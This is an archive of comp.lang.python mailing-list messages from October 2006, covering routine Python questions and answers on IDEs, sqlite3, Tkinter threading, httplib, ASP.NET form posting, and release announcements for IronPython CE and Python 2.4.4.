> work fine. Hint: Look at cos(pi/2) and sin(pi/2).
> 
> -Carsten



From johnjsal at NOSPAMgmail.com  Thu Oct 26 11:13:07 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 15:13:07 GMT
Subject: What's the best IDE?
In-Reply-To: <1161828498.791044.144040@f16g2000cwb.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
Message-ID: <7g40h.165$1n3.4282@news.tufts.edu>

Hakusa at gmail.com wrote:

> as I have yet to try Vim - maybe I'll try tomarrow.

Warning: Vim isn't something you just "try tomorrow"  :)


From sanxiyn at gmail.com  Thu Oct 26 11:59:01 2006
From: sanxiyn at gmail.com (Sanghyeon Seo)
Date: Fri, 27 Oct 2006 00:59:01 +0900
Subject: [ANN] IronPython Community Edition r3
Message-ID: <5b0248170610260859w6a46ca98rb48847be6de08ded@mail.gmail.com>

This is the third release of IronPython Community Edition (IPCE).

Get it here.
http://sparcs.kaist.ac.kr/~tinuviel/download/IPCE-r3.zip

This release is also available on SourceForge mirrors near you.
http://sourceforge.net/projects/fepy

IPCE has a homepage. You can read about licenses and patches there.
There's also some new documentations like FePy Library Reference.
http://fepy.sourceforge.net/

Changes in this release:

* Latest and greatest!

Updated to IronPython 1.0.1.
Updated to CPython 2.4.4.
Compiled with Mono 1.1.18.

* Relicensed under the MIT license, for those who found previous
license terms (Do What The Fuck You Want To Public License) offensive,
or humor-impaired.

* New CPython-compatible wrappers.

zlib, using System.IO.Compression.
hashlib, using System.Security.Cryptography.
sqlite3, using generic DB-API module already developed.

hashlib and sqlite3 are modules new in CPython 2.5.

* Updated CPython-compatible wrappers.

Numerous updates to pyexpat. Previously, pyexpat.py was only intended
to run ElementTree. It is now compatible enough to run xml.dom and
xml.sax codes.

* Patches to Python standard library.

patch-stdlib-tarfile-null-terminated fixes (arguably) a bug.

patch-stdlib-httplib-disable-idna and patch-stdlib-xml-sax-import are
workarounds, but changes are minimal and make using httplib and
xml.sax much better on IronPython.

-- 
Seo Sanghyeon


From hanumizzle at gmail.com  Fri Oct  6 03:41:45 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 03:41:45 -0400
Subject: Why do this?
In-Reply-To: <RynVg.5625$Y24.480@newsread4.news.pas.earthlink.net>
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<RynVg.5625$Y24.480@newsread4.news.pas.earthlink.net>
Message-ID: <463ff4860610060041u44e86ae6yb7d417cb5bdb30e6@mail.gmail.com>

On 10/6/06, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> On Thu, 5 Oct 2006 11:28:08 +0100, "Matthew Warren"
> <Matthew.Warren at Digica.com> declaimed the following in comp.lang.python:
>
> >
> > Now, I started programming when I was 8 with BBC Basic.
> >
>         Remember what the acronym BASIC stands for?

Boobie-drawing Adolescent Symbolic Instruction Code.

-- Theerasak


From sjmachin at lexicon.net  Wed Oct 11 21:32:38 2006
From: sjmachin at lexicon.net (John Machin)
Date: 11 Oct 2006 18:32:38 -0700
Subject: python 2.5 & sqlite3
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>
	<mailman.337.1160600574.11739.python-list@python.org>
	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>
	<mailman.338.1160604416.11739.python-list@python.org>
Message-ID: <1160616758.718092.210130@m73g2000cwd.googlegroups.com>

Fredrik Lundh wrote:
> BartlebyScrivener wrote:
> > Fredrik Lundh wrote:
> >
> >> wasting time on broken distributions?
> >
> > It's not broken.
>
> of course it's broken; the official release ships with properly built
> and properly tested versions of the stuff you're struggling to install.
>
>  > I like Pythonwin better than IDLE.
>
> last time I checked, the PythonWin IDE was part of the win32all kit,
> available from:
>
> https://sourceforge.net/project/showfiles.php?group_id=78018&package_id=79063
>
>  > Either way I need to know where to put the sqlite files, right?
>
> not if you're using a proper release, no.
>
> </F>

OK, I'll bite; I can't understand what this thread is all about.

The Activestate Python 2.5 distribution is not yet available.

(1) Why is the effbot saying that a not-yet available distribution is
broken?

(2) The OP says he has downloaded sqlite*.* from the sqlite.org website
... without saying why he thought he needed to nor which Windows Python
he is planning to run it with:
(a) Activestate 2.5 -- not-yet-available
(b) python.org 2.5-- *includes* the sqlite3 stuff; Pythonwin is as the
effbot said in effect only a download and a double-click away ...
(c) <any_brand> 2.4 -- needs pysqlite etc

What am I missing?
Oh, possibly
"""
I see that Python 2.5 has the "wrapper" but sqlite itself must be
downloaded separately.
"""
Looks like it could be from reading some build-Python-from-source
instructions for Unix platforms ...

Bewilderedly yours.
John



From Leo.Kislov at gmail.com  Wed Oct 18 20:27:41 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 18 Oct 2006 17:27:41 -0700
Subject: codecs.EncodedFile
References: <slrnejc6jv.1nk.horpner@FIAD06.norwich.edu>
Message-ID: <1161217661.478389.85870@i3g2000cwc.googlegroups.com>


Neil Cerutti wrote:

> It turns out to be troublesome for my case because the
> EncodedFile object translates calls to readline into calls to
> read.
>
> I believe it ought to raise a NotImplemented exception when
> readline is called.
>
> As it is it silently causes interactive applications to
> apparently hang forever, and breaks the line-buffering
> expectation of non-interactive applications.

Does it work if stdin is a pipe? If it works then raising
NotImplemented doesn't make sense.

> If raising the exception is too much to ask, then at least it
> should be documented better.

Improving documentation is always a good idea. Meanwhile see my
solution how to make readline method work:
http://groups.google.com/group/comp.lang.python/msg/f1267dc612314657



From Leo.Kislov at gmail.com  Mon Oct 16 03:19:57 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 16 Oct 2006 00:19:57 -0700
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <mailman.553.1160976477.11739.python-list@python.org>
References: <mailman.553.1160976477.11739.python-list@python.org>
Message-ID: <1160983197.227280.3050@i3g2000cwc.googlegroups.com>



On Oct 15, 10:25 pm, "fdu.xia... at gmail.com" <fdu.xia... at gmail.com>
wrote:
> Hi,
>
> I just want to send a very simple email from within python.
>
> I think the standard module of smtpd in python can do this, but I
> haven't found documents about how to use it after googleing. Are there
> any examples of using smtpd ? I'm not an expert,so I need some examples
> to learn how to use it.

smtpd is for relaying mail not for sending. What you need it a dns
toolkit (search cheeseshop) to map domain name to list of incoming mail
servers, and then using stdlib smtplib try to submit the message to
them.

> Or maybe there is a better way to to this?

This won't work if you're behind a strict corporate firewall or if ISP
is blocking port 25 outgoing connections. In those cases you _have_ to
use an external mail server.



From steve at holdenweb.com  Thu Oct  5 14:41:11 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 19:41:11 +0100
Subject: tkinter newsgroup or mailing list
In-Reply-To: <eg3hvd$s9h$1@newsreader2.utanet.at>
References: <eg3hvd$s9h$1@newsreader2.utanet.at>
Message-ID: <eg3jih$ebb$2@sea.gmane.org>

Franz Steinhaeusler wrote:
> Hello NG,
> 
> I'm asking this, (although I know a mailing list on gmane
> gmane.comp.python.tkinter and there is so little traffic
> compared to the mailing list of wxPython also mirrored
> on gmane gmane.comp.python.wxpython.
> 
> I cannot imagine, that there is no more interest
> in exchanging opinions, or is this really the case?
> 
> Is tkinter so simple, that no more questions appear?
> Or is it simply so uninteresting? :)
> 
Tkinter questions tend to get asked and answered on this list. Try 
searching it and you'll see there's still plenty of interest!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From zzf818 at gmail.com  Mon Oct 23 06:56:59 2006
From: zzf818 at gmail.com (kelin,zzf818@gmail.com)
Date: 23 Oct 2006 03:56:59 -0700
Subject: The Mythical Man-month's pdf file
Message-ID: <1161601019.237381.64840@m7g2000cwm.googlegroups.com>

Hi,
Does anyone have the .pdf file of the book THE MYTHICAL MAN-MONTH?
Then could you please send it to me( zzf818 at gmail.com )?
Thanks a lot!



From toddw at activestate.com  Thu Oct 19 13:20:39 2006
From: toddw at activestate.com (Todd Whiteman)
Date: Thu, 19 Oct 2006 10:20:39 -0700
Subject: Komodo
In-Reply-To: <1161272868.051706.228320@h48g2000cwc.googlegroups.com>
References: <1161272868.051706.228320@h48g2000cwc.googlegroups.com>
Message-ID: <4537B3E7.9090603@activestate.com>

SpreadTooThin wrote:
> Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to
> find something in my script,
> I am unable to change the text it is searching for?
>
>   
I am not sure, especially given the limited amount of context, you will 
likely get a better response by posting a message at:
http://support.activestate.com/products/Komodo

And giving more details on your exact problem also helps (Mac type: PPC, 
Intel, Script type, etc...).

Best regards,
Todd



From jjl at pobox.com  Tue Oct  3 14:08:02 2006
From: jjl at pobox.com (John J. Lee)
Date: 03 Oct 2006 19:08:02 +0100
Subject: httplib and large file uploads
References: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com>
Message-ID: <u1wppi871.fsf@pobox.com>

"Jesse Noller" <jnoller at gmail.com> writes:

> Hey All,
> 
> I'm working on an script that will generate a file of N size (where N is
> 1k-1gig) in small chunks, in memory (and hash the data on the fly) and pass
> it to an httplib object for upload. I don't want to store the file on the
> disk, or completely in memory at any time. The problem arises after getting
> the http connection (PUT) - and then trying to figure out how to
> iterate/hand the chunks I am generating to the httplib connection's send()
> call. For example (this code does not work as is):
[..]

Define "does not work".


John



From tjreedy at udel.edu  Tue Oct  3 14:14:21 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 3 Oct 2006 14:14:21 -0400
Subject: Instantiating an object when the type is only known at runtime
References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com>
Message-ID: <efu99t$lhf$1@sea.gmane.org>


"Samuel" <knipknap at gmail.com> wrote in message 
news:1159883162.906612.292870 at c28g2000cwb.googlegroups.com...
> Hi,
>
> I am trying to replace the eval() in the following code:
>
> def myfunc(type, table):
>    module   = __import__(type)
>    type     = 'module' + '.' + type
>    obj      = eval(type)
>    return obj(row[table.c.name], row[table.c.handle])
>
> I am out of ideas. Any hints?

Perhaps what you need is a dict 'types' mapping strings to types/classes.
Then the last two lines might become

  return types[type](row[table.c.name], row[table.c.handle])

The trick of mapping names to callables for runtime choice of what to call 
has several uses.

Terry Jan Reedy





From anthony at python.org  Thu Oct 12 03:33:02 2006
From: anthony at python.org (Anthony Baxter)
Date: Thu, 12 Oct 2006 17:33:02 +1000
Subject: RELEASED Python 2.4.4, release candidate 1
Message-ID: <200610121733.11507.anthony@python.org>

On behalf of the Python development team and the Python community, 
I'm happy to announce the release of Python 2.4.4 (release candidate 1).

Python 2.4.4 is a bug-fix release. While Python 2.5 is the latest 
version of Python, we're making this release for people who are 
still running Python 2.4.

See the release notes at the website (also available as Misc/NEWS in
the source distribution) for details of the more than 80 bugs squished
in this release, including a number found by the Coverity and Klocwork
static analysis tools. We'd like to offer our thanks to both these 
companies for making this available for open source projects.

 *  Python 2.4.4 contains a fix for PSF-2006-001, a buffer overrun   *
 *  in repr() of unicode strings in wide unicode (UCS-4) builds.     *
 *  See http://www.python.org/news/security/PSF-2006-001/ for more.  *

Assuming no major problems crop up, a final release of Python 2.4.4 will
follow in about a week's time. This will be the last planned release in
the Python 2.4 series - future maintenance releases will be in the 2.5 
line.

For more information on Python 2.4.4, including download links for
various platforms, release notes, and known issues, please see:

    http://www.python.org/2.4.4/

Highlights of this new release include:

  - Bug fixes. According to the release notes, at least 80 have been
    fixed.
  - A fix for PSF-2006-001, a bug in repr() for unicode strings 
    on UCS-4 (wide unicode) builds.

Highlights of the previous major Python release (2.4) are available
from the Python 2.4 page, at

    http://www.python.org/2.4/highlights.html

Enjoy this release,
Anthony

Anthony Baxter
anthony at python.org
Python Release Manager
(on behalf of the entire python-dev team)
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From sparkytwobillion at gmail.com  Mon Oct 16 22:29:53 2006
From: sparkytwobillion at gmail.com (runningwild)
Date: 16 Oct 2006 19:29:53 -0700
Subject: httplib and HTTPS Connections
Message-ID: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>

Helo,

This is the first time I have cared about httplib's HTTPSConnection.

In the docs I read "Note: HTTPS support is only available if the socket
module was compiled with SSL support."

Although my small test script "seems" to work when connecting to a
webserver via HTTPS I am really not sure.

In other words it worked the first time. I never trust anything that
seems to work right the first time. ;-)

My question is how can I tell if the criteria in the "NOTE:" is met?
How do I know that the socket module was indeed compled with SSL
support?

The reason this is important is that I am building a credit card
payment system.

Here is my little test script
========================
Python 2.4.3

import httplib
conn = httplib.HTTPSConnection('**********')
conn.request('GET' '/index.html')
resp = conn.getresponse()

page = resp.read()
print page



From Matthew.Warren at Digica.com  Thu Oct  5 08:34:03 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 13:34:03 +0100
Subject: Why do this?
In-Reply-To: <CCAC78D42E32184F8E26DC163DB98306C1B4EB@vogbs009.gb.vo.local>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE594@UKEX01.Digica.local>

> [Matthew Warren]
> 
> | Blame outlook and AutoCaps. If number were a number I would write
> | 
> | print "There are",number,"ways to skin a "+furryanimal
> 
> You see now that strikes me as a bit mixed up. Why not simply use?
> 
> print "a", number, "c", string
> 

Habit (not always a good thing..), and it helps keep the distinction as
to what is a number and what is s a string.


> 
> Ultimately it's down to you, but I think you may be doing
> your code a disservice by so assiduously avoiding the %s-style
> of string building. Your last example suggests that you
> see the dict-subtitution flavour simply as an alternative to doing
> "a" + dict[key1] + "b" + dict[key2] etc. I doubt if I've *ever* 
> started with the one and ended with the other; rather I've seen that
> my code would be more readable if I put/had what I wanted into a
> dict (or a dict-like object; just has to support __getitem__).


Not quite. I was meaning that where I had things naturally in a dict and
found myself concatenating the string, I would now probably use the
substitution method.


> 
> An easy example of this is where -- like many, I believe -- I 
> prefer my
> database rows to come in dict-like objects, rather than the 
> tuples which
> the dbapi stipulates. Again, like many, I've used or rolled my own
> wrapper
> which means I can do things like this, where my dbutils.fetch function
> returns some kind of object which traps __getitem__ calls for column
> names and returns the appropriate entry in the underlying tuple:
> 
> <fake code>
> import dbutils
> db = db_module.connect (...)
> for row in dbutils.fetch (db, "SELECT * FROM blah"):
>   print "Customer %(name)s (%(id)d) has %(n_orders)d 
> outstanding orders
> since %(last_order_date)s" % row
> 
> </fake code>
> 
> TJG

I'm only just really looking into the effects of using things like
__getitem__ etc.., I imagine my approach will become more sophisticated
once I have looked into them.


This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 

You should not copy the email, use it for any purpose or disclose its contents to any other person.
Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica.
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From gagsl-py at yahoo.com.ar  Wed Oct 25 19:00:16 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 20:00:16 -0300
Subject: Using classes in python
In-Reply-To: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>
References: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>
Message-ID: <7.0.1.0.0.20061025195638.05f03bb0@yahoo.com.ar>

At Wednesday 25/10/2006 16:19, trevor lock wrote:

>I've just started using python and have observed the following :
>
>class foo:
>     a=[]
>     def __init__(self, val):
>             self.a.append ( val )

It's a common pitfall. As seen just a few days ago:
http://groups.google.com/group/comp.lang.python/browse_thread/thread/99e0b1548ce1de81/35b79173cb8ea105?#35b79173cb8ea105


>I was expecting that everytime I created an instance of the class 
>that a unique dictionary was also created, however it seems that 
>only one dictionary is created.
>How can I create a new dictionary for each instance?

Notice that you were using a *list* here, not a *dictionary*


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From steven.klass at gmail.com  Tue Oct 10 18:23:07 2006
From: steven.klass at gmail.com (rh0dium)
Date: 10 Oct 2006 15:23:07 -0700
Subject: default variable in python $_
Message-ID: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>

Hi all,

So I have this simple little routine..  say like this..


def foo()
   return {"a":"b", "b":"c"}

if foo():
   print "Have foo"


Now I want the dictionary item a (ie. b)

How can I do it the above way or do I still have to go like this..

def foo()
   return {"a":"b", "b":"c"}

z = foo()
if z:
   print "Have foo"
   print z['a']

This is where $_ in perl is awesome - There must be a default variable
in python right?



From martin at v.loewis.de  Fri Oct 20 02:24:34 2006
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Fri, 20 Oct 2006 08:24:34 +0200
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <mailman.810.1161324583.11739.python-list@python.org>
References: <mailman.810.1161324583.11739.python-list@python.org>
Message-ID: <45386ba2$0$1206$9b622d9e@news.freenet.de>

fdu.xiaojf at gmail.com schrieb:
> I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need
> to uninstall python 2.4.3 first ?
> 
> I'd rather not to do so, because I have installed some other python
> packages for python2.4.3.

You don't have to uninstall. Installing "on top" will work just fine;
both on Windows and Unix (not sure about Mac).

Regards,
Martin


From robin at reportlab.com  Wed Oct 25 05:42:33 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 10:42:33 +0100
Subject: unsigned 32 bit arithmetic type?
Message-ID: <453F3189.5000502@chamonix.reportlab.co.uk>

Hi, just trying to avoid wheel reinvention. I have need of an unsigned 32 bit 
arithmetic type to carry out a checksum operation and wondered if anyone had 
already defined such a beast.

Our current code works with 32 bit cpu's, but is failing with 64 bit 
comparisons; it's clearly wrong as we are comparing a number with a negated 
number; the bits might drop off in 32 bits, but not in 64.
-- 
Robin Becker



From fb at frank-buss.de  Sun Oct 29 05:14:05 2006
From: fb at frank-buss.de (Frank Buss)
Date: Sun, 29 Oct 2006 11:14:05 +0100
Subject: logo design
References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com>
Message-ID: <29naldwhnyai.3w9rk3brs4ix.dlg@40tude.net>

Xah Lee wrote:

> I have brought this topic here here before... that i think LISP really
> need to have a logo. I'm aware of ?made with alien technology lisp?
> web-badge, but that is a lisp-peddling badge, not a lisp logo proper.

There are already many different logos, if you don't like the "made with
secret alien technology" text:

http://www.lisperati.com/logo.html
http://www.normal-null.de/lisp_logo.html

-- 
Frank Buss, fb at frank-buss.de
http://www.frank-buss.de, http://www.it4-systems.de


From mail at microcorp.co.za  Fri Oct  6 01:33:30 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 6 Oct 2006 07:33:30 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>	<op.tgwml9x1rqur0o@eb.pragmadev>	<mailman.1279.1159985794.10491.python-list@python.org><op.tgxs4cobrqur0o@eb.pragmadev>	<eg2c11$rmk$1@sea.gmane.org><008601c6e865$1104b560$03000080@hendrik>
	<eg2ndt$sa$1@sea.gmane.org>
Message-ID: <019b01c6e923$9742c360$03000080@hendrik>

"Steve Holden" <steve at holdenweb.com> wrote:
> Hendrik van Rooyen wrote:
> > "Fredrik Lundh" <fredrik at pythonware.com> wrote:
> >
> >>Eric Brunel wrote:
> >>
> >>
> >>>AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize
> >>>the calls from different threads may seem to work (I never tested it
> >>>actually), but the safest way I found to use threads with Tkinter was to
> >>>call it only from the thread where the main loop executes.
> >>
> >>the Tkinter binding contains some code that attempts to deal with re-
> >>entrant calls, but I don't know/remember to what extent it's actually
> >>supposed to work (in other words, if the observed problems are bugs or
> >>just limitations).
> >>
> >>(maybe Martin's memory is better?)
> >>
> >>anyway, I usually play it safe and make sure to use a single thread to
> >>deal with the UI.
> >>
> >></F>
> >
> >
> > I must be dense - After I have called mainloop, if I have not started
another
> > thread to respond to events that are not generated by the user on the screen
(in
> > this case values of variables to display from the field generated by
different
> > processes - there is other hardware out there), how do I get control back to
do
> > the necessary updating? - I suppose I can use the call back after some time
> > thingy to implement a polling loop - possibly as Russel Owen suggested - by
> > polling a queue - but queues are for between threads - and I have seen here
> > somewhere that sockets also want to be the main thread  - so that leaves a
> > pipe - and I have had bad experiences with pipes that are unblocked, and if
I
> > don't unblock it, then the gui will grind to a halt....so I need a thread
for
> > the pipe between processes, and a queue between threads, and a time out
based
> > polling loop to read the queue, it seems - is it even safe to change a main
loop
> > variable from another thread? , or should I do it all via commands through a
> > queue, implementing a whole goddam serial protocol just between threads?
and If
> > I don't have another thread to do the timing for the animation bits, then I
must
> > base that on a timed callback too, and somehow keep state between
callbacks...
> > now is it ok to call widget command methods from a callback in the same
thread,
> > or do I have to use invoke?
> >
> > My head is beginning to hurt... - what was a nice simple threaded
implementation
> > is turning into a spaghetti monster of timed callbacks - you thought gotos
was
> > bad? - you aint seen nothing yet...
> >
> See if this helps:
>
>      http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965
>
> It's Jacob Hallen's description of how he solved the problem.
>
> regards
>   Steve

Thanks Steve - It is the same one Paul Rubin pointed me to and it describes
nicely how to get the "worker" thread going, and the queue between it and the
GUI thread.

In my case, I will have a thread for input, as well as one for output to send
commands away.  The bit I was complaining about above is the replacement of a
thread to do the animation timing with a "stutter" machine inside the gui
thread, where the timing is handled by callbacks.

A piece of feedback - the stutter machine animation timing is much smoother than
the timing based on threaded sleep calls.... - less jittery - looks much
better...

So I am kind of glad the thing fell over because this implementation is going to
be much better.

Thank You All.
- Hendrik





From rpdooling at gmail.com  Fri Oct 20 16:59:56 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 20 Oct 2006 13:59:56 -0700
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161375830.733818.99070@i42g2000cwa.googlegroups.com>
References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
	<1161375830.733818.99070@i42g2000cwa.googlegroups.com>
Message-ID: <1161377996.049154.118650@b28g2000cwb.googlegroups.com>

Thanks, Jon.

I'm moving from Access to MySQL. I can query all I want using Python,
but so far haven't found  a nifty set of forms (ala Access) for easying
entering of data into MySQL. My Python is still amateur level and I'm
not ready for Tkinkter or gui programming yet.

rd

----------

Jon Clements wrote:

>
> I don't use mx.ODBC, and definately don't use Access (gagging sounds...
> but if you're stuck with it, so be it)...
> 
> hth,
> 
> Jon.



From http  Wed Oct 25 15:47:28 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 12:47:28 -0700
Subject: with statements and exceptions
References: <s%O%g.158$1n3.4021@news.tufts.edu>
	<c5P%g.159$1n3.4091@news.tufts.edu>
Message-ID: <7x1wowb2jz.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
>      def create_sql_script(self):
>          with open('labtables.sql') as sql_script:
>              return sql_script.read()
> 
> Does the file still get closed even though I have a return statement
> inside the with block?

Yes, I think so.  I'm not running 2.5 yet but this is supposed to be
the idea of the with statement.  As for the open failing, you'd deal
with that using try/except around the whole thing.

http://www.python.org/dev/peps/pep-0343/ explains the with statement
in detail.  


From oliphant.travis at ieee.org  Wed Oct 25 06:31:55 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Wed, 25 Oct 2006 04:31:55 -0600
Subject: problem with fft periodogram
In-Reply-To: <1161766681.731603.88100@m73g2000cwd.googlegroups.com>
References: <1161766681.731603.88100@m73g2000cwd.googlegroups.com>
Message-ID: <ehnebu$8rr$1@sea.gmane.org>

aitor69gonzalez at gmail.com wrote:
> Hello,
> 
> I am ploting a fft periodogram of my data using a script (found in
> internet: http://linuxgazette.net/115/andreasen.html ) that gave me
> good results before. There should be a periodicity of >160 in the data
> as can be seen by eye. However, this script now says that there is
> periodicity of ~9. Can somebody explain me what's wrong? Thank you in
> advance.

The units are wrong on your period axis.  Right now you have them in 
units of "sample-spacing".  So, the plot is telling you that you have a 
periodicity of ~9 sample spacings.   To get it in unites of minutes you 
need to multiply period by the difference in minutes

period_in_minutes = period * (minutes[1] - minutes[0])

Then, plot period_in_minutes versus power.  I see a peak around 180 
minutes in your data.



-Travis



From kylotan at gmail.com  Mon Oct 23 06:52:02 2006
From: kylotan at gmail.com (Ben Sizer)
Date: 23 Oct 2006 03:52:02 -0700
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <mn.a5117d6a31980601.46195@XX.XmclaveauX.com>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
	<mn.a5117d6a31980601.46195@XX.XmclaveauX.com>
Message-ID: <1161600722.094269.56790@i3g2000cwc.googlegroups.com>

MC wrote:
> I use this little batch:
>
>     @echo off
>     cd \dev\python
>     viewarg.py %*

I try that (with viewarg.py renamed, obviously), and get this error:

"'defines.py' is not recognized as an internal or external command,
operable program or batch file."

defines.py is in the same directory as the batch file, but cannot be
executed like this. Double-clicking on it works, as expected.

-- 
Ben Sizer



From bernard.chhun at gmail.com  Wed Oct  4 11:55:43 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 4 Oct 2006 08:55:43 -0700
Subject: Making posts to an ASP.NET webform.
In-Reply-To: <1159975989.923434.50000@i42g2000cwa.googlegroups.com>
References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>
	<452134c7$0$14008$edfadb0f@dread15.news.tele.dk>
	<1159805102.970972.59340@b28g2000cwb.googlegroups.com>
	<mailman.1131.1159837304.10491.python-list@python.org>
	<1159975989.923434.50000@i42g2000cwa.googlegroups.com>
Message-ID: <1159977342.976043.120060@e3g2000cwe.googlegroups.com>


Bernard wrote:
> Gabriel Genellina wrote:
> > At Monday 2/10/2006 13:05, Bernard wrote:
> >
> > > > > Has anyone tried what I'm doing? and if you tried how have you
> > > > > succeeded getting the data back after the post action?
> >
> > Use a packet sniffer or something to look at an actual POST that
> > works, this way you could see what's missing in your code.
> >
> >
> > Gabriel Genellina
> > Softlab SRL
>
> Thanks for that suggestion Gabriel. It's really a great idea to see
> what's going on behind the scene but it still doesn't work even though
> the post made by my function has the same data as a real browser post.
>
> here's the HTTP Header from my sniffer:
> -------------------------------------------------------------
> http://www.newportrealty.com/Search/Default.aspx?Area=WC
>
> POST /Search/Default.aspx?Area=WC HTTP/1.1
> Host: www.newportrealty.com
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6)
> Gecko/20060728 Firefox/1.5.0.6
> Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
> Accept-Language: en-us,en;q=0.5
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Connection: keep-alive
> Referer: http://www.newportrealty.com/Search/Default.aspx?Area=WC
> Cookie: ASPSESSIONIDQQBTTDAT=JMBNNNNBNNJELLBBNCCDMNCK;
> ASP.NET_SessionId=hzdjizvca2zid3f205s5kd45
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 4649
> __EVENTTARGET=dg_Result%3A_ctl1%3A_ctl1&__EVENTARGUMENT=&__VIEWSTATE=dDw0MD(...)
> HTTP/1.x 200 OK
> Cache-Control: private
> Content-Length: 37519
> Content-Type: text/html; charset=utf-8
> Server: Microsoft-IIS/6.0
> X-Powered-By: ASP.NET
> X-AspNet-Version: 1.1.4322
> Date: Wed, 04 Oct 2006 15:15:37 GMT
> -------------------------------------------------------------
>
> and here's the output of the encoded data as well as the cookies in my
> function:
>
> -------------------------------------------------------------
> cookies:
> <Cookie ASP.NET_SessionId=lddb3iruopvpnjiar0dlytvi for
> www.newportrealty.com/>
> <Cookie ASPSESSIONIDQQBTTDAT=OMBNNNNBMLDDAIHNDHJGLFKP for
> www.newportrealty.com/>
>
> encoded post data:
> __EVENTTARGET=dg_Result%3A_ctl14%3A_ctl2&__EVENTARGUMENT=&__VIEWSTATE=dDw0MDAyOTcw(...)
> -------------------------------------------------------------
>
> My function has already worked on other asp.net websites and I'm pretty
> sure this would work out just fine. is there something I'm missing here?


ok my bad I've just found out that I didn't build properly the form
action url!! It works now!

thanks for all the responses!!



From hardcoded.software at gmail.com  Wed Oct  4 17:14:19 2006
From: hardcoded.software at gmail.com (Virgil Dupras)
Date: 4 Oct 2006 14:14:19 -0700
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <1159996459.214719.13080@i3g2000cwc.googlegroups.com>



On Oct 4, 4:21 pm, "gord" <gord at no_spaming.com> wrote:
> As a complete novice in the study of Python, I am asking myself where this
> language is superior or better suited than others. For example, all I see in
> the tutorials are lots of examples of list processing, arithmetic
> calculations - all in a DOS-like environment.
>
> What is particularly disappointing is the absence of a Windows IDE,
> components and an event driven paradigm. How does Python stand relative to
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these
> programming packages are quite expensive now while Python is free (at least
> for the package I am using - ActivePython).
>
> Please discuss where Python shines.
> Gord

Delphi, one of the big 3? Since Borland abandoned it, it can only go
downward (How do you call delphi 8, 2005 and 2006, if not *downwards*?)
Java is much more of a big 3 than Delphi.

Use Python for a little while (let's say 1000 lines of code), and if
you're not convinced after that, go back to the big 3, happily telling
yourself you're not missing anything...

"What's with this weird python community anyway, speaking of code
'elegance' and 'readability'? There is no such thing!"



